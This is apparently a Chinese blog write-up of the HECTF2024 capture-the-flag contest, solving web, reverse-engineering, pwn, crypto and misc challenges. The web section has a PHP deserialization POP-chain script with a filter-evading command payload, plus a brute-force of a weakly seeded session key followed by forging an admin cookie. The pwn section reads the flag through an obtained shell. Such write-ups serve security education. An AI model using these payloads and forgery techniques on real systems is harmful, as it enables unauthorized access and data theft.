加载中…

上一页

河北师范大学第八届信息安全挑战赛 WriteUp

河北师范大学第八届信息安全挑战赛 WriteUp

WEB

Are u happy

找到/api/js内的game.js,发现一串Base64编码的文本,解码即为flag.

baby_unserialize

切入点在于User类的__construct()__destruct(),因此从这里开始构造pop链. 为了使token变量值为admin且不被__wakeup()更改,需要把最终序列化的内容完整性破坏,使其反序列化不成功(类似于php的垃圾回收机制,下面会具体讲如何更改序列化字符串).

接下来出现echo就要去找__toString(),发现class01类包含. 于是链接到class01.

接下来调用了一个不存在的函数func1(),就去找__get()或者__call(). 发现class00内存在__call(),链接到这里.

这里返回了1,就会执行下面的赋值操作. 对不存在的str1进行赋值,会触发class00内的__set()函数. 发现将赋值内容当作函数调用,那么就找__invoke(). 在class02中找到了__invoke(),链接到这里.

这个payload封得很死. 但是有一个正则匹配没有被禁止,就是[abc]代表匹配abc中的任一字符. 这也适用于程序运行,只是需要完整的程序路径. 由于[]/均未被限制,因此可构造出payload

/bin/ca[t] /fla[g] #

末尾的#将后面的内容注释以让输出显示在网页上.

构造代码:

<?php
class User{
    public $name;
    public $passwd;
    public $msg;
    public $token;
    public function __construct(){
        $this->name="admin";
        $this->passwd="admin";
        $this->token="admin";
    }
}

class class00{
}

class class01{
    public $temp=0;
    public $str3;
    public $cls;
}

class class02{
    public $payload;
}

$a=new User();
$b=new class01();
$c=new class00();
$d=new class02();
$d->payload="/bin/ca[t] /fla[g] #";
$b->str3=$d;
$b->cls=$c;
$a->msg=$b;
echo serialize($a);
?>

// O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:20:"/bin/ca[t] /fla[g] #";}s:3:"cls";O:7:"class00":0:{}}s:5:"token";s:5:"admin";}

这里将序列化后User类的项数增加1,即由4改变为5就能使完整性被破坏(因为项数不匹配了),避免触发__wakeup(). 将修改后的字符串经过Base64编码即可.

ezweb

首先打开开发工具,将注释里的内容进行Base64解码,查看对应的函数.

第一步是md5弱比较,用0e绕过;第二步是md5强比较,用数组或者碰撞绕过;第三步,提示文本是hectf2024,但是不知道字母的大小写,那么可以根据一个脚本跑这32种情况解出对应的文本.

接下来给出了一个解密session的代码,虽然key是随机的,但是种子的范围很小,可以进行爆破. 爆破所得的是一串序列化文本,将其中的guest改为admin,再次进行加密,更改cookie并发送请求即可获得flag.

爆破运行的代码:

<?php
function session_decrypt($session,$key){
    $data=base64_decode($session);
    $method='AES-256-CBC';
    $iv_size=openssl_cipher_iv_length($method);
    $iv=substr($data,0,$iv_size);
    $enc=substr($data,$iv_size);
    return openssl_decrypt($enc, $method, $key, 1, $iv);
}
$session="cAVQ3Rj2B26JBY2/zJZTfQcjdLCeBz6XTf1ShPbkQI71rJxMV43Dya/V7+Jb5gdDV+m20B4U1rADwjZATnoc6Pn5nXtUEg+mfjTq+3wAGp7FqPY2XEVvZ0440B3AvxRF";
for($i=1e5;$i<=1e7;$i++)
{
    mt_srand($i);
    $key=rand();
    $t=session_decrypt($session,$key);
    if($t[0]!="")
    {
        echo $i;
        echo ' ';
        echo $t;
        echo PHP_EOL;
    }
}

爆破结果:

重新加密运行的代码:

<?php
function session_decrypt($session,$key){
    $data = base64_decode($session);
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = substr($data,0,$iv_size);
    $enc = substr($data,$iv_size);
    return openssl_decrypt($enc, $method, $key, 1, $iv);
}
function session_encrypt($data, $key) {
    $method = 'AES-256-CBC';
    $iv_size = openssl_cipher_iv_length($method);
    $iv = openssl_random_pseudo_bytes($iv_size);
    $encrypted = openssl_encrypt($data, $method, $key, 1, $iv);
    $result = base64_encode($iv . $encrypted);

    return $result;
}
$session="O:4:\"User\":2:{s:8:\"username\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}";
$i=4298474;
{
    mt_srand($i);
    $key = rand();
    $t=session_encrypt($session,$key);
    {
        echo $i;
        echo ' ';
        echo $key;
        echo ' ';
        echo $t;
        echo PHP_EOL;
    }
    echo session_decrypt($t,$key);
}

刷新页面后出现一张图片,打开开发工具,在图片位置前面的注释里获得flag.

RE

littleasm

读汇编语言. 将其中的信息提取,可以反汇编出如下代码:

#include <stdio.h>
#include <string.h>
char flag[28];
const char key[]="rev";
const unsigned char data[]=
{
    0x6a, 0x28, 0x3d, 0x4e, 0x2b, 0x05, 0x63, 0x1e, 0x0d, 0x73, 0x10, 0x1c,
    0x73, 0x24, 0x21, 0x73, 0x5e, 0x21, 0x31, 0x5d, 0x21, 0x3f, 0x0c, 0x0d,
    0x6d, 0x4c, 0x03
};
const char msg_wrong[]="WRONG!!!\n";
const char msg_right[]="Right!!\n";
void encrypt_flag()
{
    for (int ecx=0;ecx<27;ecx+=3)
    {
        int edx=(ecx+2)%3;
        unsigned char esi=key[edx]^flag[ecx]+0x2C;
        data[ecx]=esi;
        edx=(ecx+1)%3;
        esi=key[edx]^flag[ecx+1]+0x08;
        data[ecx+1]=esi;
        esi=key[edx]^flag[ecx+2]^0x0C;
        data[ecx+2]=esi;
    }
}
int check_flag()
{
    for (int ecx=0;ecx<27;ecx++) if (flag[ecx]!=data[ecx]) return 1;
    return 0;
}
int main()
{
    printf("Enter the flag: ");
    scanf("%27s",flag);
    encrypt_flag();
    if(check_flag()==0) printf("%s",msg_right);
    else printf("%s",msg_wrong);
    return 0;
}

根据encrypt函数可以写出decrypt函数:

void decrypt_flag()
{
    for (int ecx=0;ecx<27;ecx+=3)
    {
        int edx=(ecx+2)%3;
        data[ecx]-=0x2c;
        data[ecx]=data[ecx]^key[edx];
        edx=(ecx+1)%3;
        data[ecx+1]-=0x08;
        data[ecx+1]=data[ecx+1]^key[edx];
        edx=ecx%3;
        data[ecx+2]^=0x0c;
        data[ecx+2]=data[ecx+2]^key[edx];
    }
}

用该函数解密即得flag.

babyre

定位到sub_1920sub_17A7函数有实际意义. 其中前面的函数就是一个Base64编码的函数,并更换了编码表;后面的函数执行了一个异或操作.

因此先进行异或,再用Base64解码即可得到flag.

执行异或的代码:

#include<stdio.h>
char s[]={0x51,0x43,0x54,0x43,0x55,0x42,0x5A,0x76,0x4F,0x46,0x48,0x73,0x5C,0x46,0x7D,0x6B,0x4E,0x50,0x55,0x68,0x51,0x55,0x7D,0x3E,0x45,0x5D,0x43,0x67,0x45,0x3E,0x3B,0x3D,0x47,0x49,0x53,0x20,0x54,0x59,0x43,0x60,0x40,0x5F,0x49,0x7E,0x45,0x38,0x75,0x38,0x47,0x7C,0x25,0x29,0x5A,0x7D,0x59,0x63,0x5F,0x46,0x57,0x38,0x5F,0x42,0x79,0x28};
int main()
{
	for(int i=0;i<64;i++) s[i]=(s[i])^(i/3);
	puts(s);
	return 0;
}

编码表:

yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx

PE?py?

使用pyinstxtractorpyre.exe程序并反编译其中的pyre.pyc文件,可获得压缩包密码.

解出来之后的程序有一个encrypt函数,如题目所知,不难猜测其为xtea加密,其中的密文和密钥都是八位一组的,并且由于计算机的存储顺序,需要将每两个一组翻转一下.

以下为解密代码:

#include<stdio.h>
unsigned ll keys[]={0x54434548, 0x32303246, 0x69617734, 0x756F7974};
unsigned ll data[]={0xDF596194, 0x2CFE74D6, 0x1355AE4D, 0xB6717A87, 0xF27BB57B, 0x08D436C5, 0xC5C8E1AF, 0x0A85BD8F, 0x19A70032, 0x400CFEF4, 0xAF02E1FC, 0xCDEDCFB4};
unsigned char decrypted[80];
void xtea_decrypt(uint32_t *v, const uint32_t *key,unsigned int m) {
	uint32_t sum=-1*1640531527*32;
	uint32_t v0=v[m],v1=v[m+1];
	
	for(unsigned int i=0;i<32;i++)
    {
		v1-=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);
		sum+=1640531527;
		v0-=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);
	}
	v[m]=v0;
	v[m+1]=v1;
}
int main()
{
	for(int i=0;i<=10;i+=2) xtea_decrypt(data,keys,i);
	for(int i=0;i<11;i++)
    {
		decrypted[i*4]=(data[i]&0xFF);
		decrypted[i*4+1]=(data[i]>>8);
		decrypted[i*4+2]=(data[i]>>16);
		decrypted[i*4+3]=(data[i]>>24);
	}
	puts(decrypted);
	return 0;
}

PWN

sign in

前面登录随便输入几个字母,后面的输入HECTF2024!,即可获得shell. 由于关闭了输出流,可以将其重定向到标准错误流里就可以看到信息了.

cat /flag 1>&2

CRYPTO

迷茫的艾米莉

W型栅栏密码+维吉尼亚加密.

栅栏栏数为6,维吉尼亚密钥为题目中的responsibility.

seven more

发现题目里的 eφ(n) 不互素,且 gcd(e,φ(n)) 很大,因此可以考虑使用AMM算法.

from Crypto.Util.number import *

import random
import time
from tqdm import tqdm
from Crypto.Util.number import *

def AMM(o, r, q):
    start = time.time()
    print('\nStart to run Adleman-Manders-Miller Root Extraction Method')
    print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
    g = GF(q)
    o = g(o)
    p = g(random.randint(1, q))
    while p ^ ((q-1) // r) == 1:
        p = g(random.randint(1, q))
    print('[+] Find p:{}'.format(p))
    t = 0
    s = q - 1
    while s % r == 0:
        t += 1
        s = s // r
    print('[+] Find s:{}, t:{}'.format(s, t))
    k = 1
    while (k * s + 1) % r != 0:
        k += 1
    alp = (k * s + 1) // r
    print('[+] Find alp:{}'.format(alp))
    a = p ^ (r**(t-1) * s)
    b = o ^ (r*alp - 1)
    c = p ^ s
    h = 1
    for i in range(1, t):
        d = b ^ (r ^ (t-1-i))
        if d == 1:
            j = 0
        else:
            print('[+] Calculating DLP...')
            j = - discrete_log(d, a)
            print('[+] Finish DLP...')
        b = b * (c ^ r) ^ j
        h = h * c ^ j
        c = c ^ r
    result = o ^ alp * h
    end = time.time()
    print("Finished in {} seconds.".format(end - start))
    print('Find one solution: {}'.format(result))
    return result

def onemod(p, r):
    t = random.randint(2, p)
    while pow(t, (p-1)//r, p) == 1:
        t = random.randint(2, p)
    return pow(t, (p-1)//r, p)

def solution(p, root, e):
    while True:
        g = onemod(p, e)
        may = []
        for i in tqdm(range(e)):
            may.append(root*pow(g, i, p) % p)
        if len(may) == len(set(may)):
            return may

def solve_in_subset(ep, p):
    cp = int(pow(c, inverse(int(e//ep), p-1), p))
    com_factors = []
    while GCD(ep, p-1) != 1:
        com_factors.append(GCD(ep, p-1))
        ep //= GCD(ep, p-1)
    com_factors.sort()

    cps = [cp]
    for factor in com_factors:
        mps = []
        for cp in cps:
            mp = AMM(cp, factor, p)
            mps += solution(p, mp, factor)
        cps = mps
    for each in cps:
        assert pow(each, e, p) == c % p
    return cps

e = 1009 * 7
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687

ep = GCD(e, p-1)
eq = GCD(e, q-1)

m_p = solve_in_subset(ep, p)
m_q = solve_in_subset(eq, q)

for mpp in m_p:
    for mqq in m_q:
        m = crt([int(mpp), int(mqq)], [p, q])
        flag = long_to_bytes(m)
        if b'HECTF' in flag:
            print(flag)
            break

翻一翻

反素数问题,应用递归思想求解.

求解pq

from Crypto.Util.number import *

n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993

def t(a, b, k):
	# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
    if k == 77:
        if a*b == n:
            print (a, b)
        return
    for i in range(10):
        for j in range(10):
			# we try to guess the last not-already-guessed digits of both primes
            a1 = a + i*(10**k) + j*(10**(154-k))
            b1 = b + j*(10**k) + i*(10**(154-k))
            if a1*b1 > n:
				# a1 and b1 are too large
                continue
            if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
				# a1 and b1 are too small
                continue
            if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
				# The last digits of a1*b1 (which won't change later) doesn't match n
                continue
			# this a1 and b1 seem to be a possible match, try to guess remaining digits
            t(a1, b1, k+1)

# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in range(10):
    t(i*(10**77), i*(10**77), 0)

RSA解密:

from Crypto.Util.number import *

n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
p=10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
q=39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
e=65537
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
# SEVDVEZ7SV9yZWExbHlfbDB2ZV9jMnlwdG8hfQ==

MISC

2024HECTF俺来了!!!

关注凌武科技公众号,发送2024HECTF俺来辣!!!,有神秘惊喜!!!

快来反馈吧!!

答题.

funny

可以看到一个标志性的建筑物 JK FUN,立即定位到西外文化休闲广场;然后根据后面的图片搜索,可以定位到动物园的隔音屏隧道附近;最终通过尝试得出为京城水系慈禧水道.

Rem_You

图片隐写. 很明显图片后面连接了一个压缩包,后缀改为.zip打开,有九个二维码碎片. 用ppt拼接一下,扫一扫即可获得Base64编码后的flag. 解码即可.

简单的压缩包

通过观察正则表达式,可以推断密码为两个小写字母+数字+一个符号构成. 手写一个程序生成字典,用ARCHPR爆破,约40分钟可获得密码np76_.

里面有一张隐写的图片,用hex编辑器打开,将后面连接的压缩包文本拷贝到另一个文件里,打开这个压缩包,有一个无效的zip和一个python文件,这个文件的内容是加密压缩包的. 因此构造一个脚本解密这个压缩包即可获得flag.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii

def decrypt(key, iv):
    ct = binascii.a2b_hex(content)
    cipher2 = AES.new(key, AES.MODE_CBC, iv)
    pt = cipher2.decrypt(ct)
    data = unpad(pt, 16)
    return data

with open("zip.zip","rb") as f:
    content = f.read()

key = b"abcdefghijklmnop"
iv  = b"qwertyuiopasdfgh"

en = decrypt(key,iv)
with open("zip2.zip","wb") as f:
    f.write(en)

恶势力的仓库

题目里给了一个流量文件,通过查看其中的http请求获得部分提示. 其中包含登录平台的过程与登录后上传文件getshell并查看服务器文件的内容.

获取的部分内容中有访问的服务器系统信息、部分目录内容、一个gif文件、一个png文件还有一个7z压缩包.

前3个对于解题没有帮助;最后一个里面一定藏有flag;倒数第二个是提示:密码在前面出现过.

经过尝试发现密码是前面登录系统时所用的密码. 注意登录页面的js代码,它将密码进行了编码之后才发送的请求,密码需要根据js的内容解码.

将压缩包内文件提取,获得一个文件机密文件.xlsx. 打开后发现单元格内的数据是01,尝试利用条件格式将值为1的单元格设置为黑色填充.

将表格缩小,发现是一个二维码,调整一下列宽之后,扫一扫即可获得flag.

posted @   AC1Liu  阅读(89)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通

提示

文章在新博客下阅读体验更好哦,是否前往新博客阅读本文?

!

Not valid!

点击右上角即可分享
微信分享提示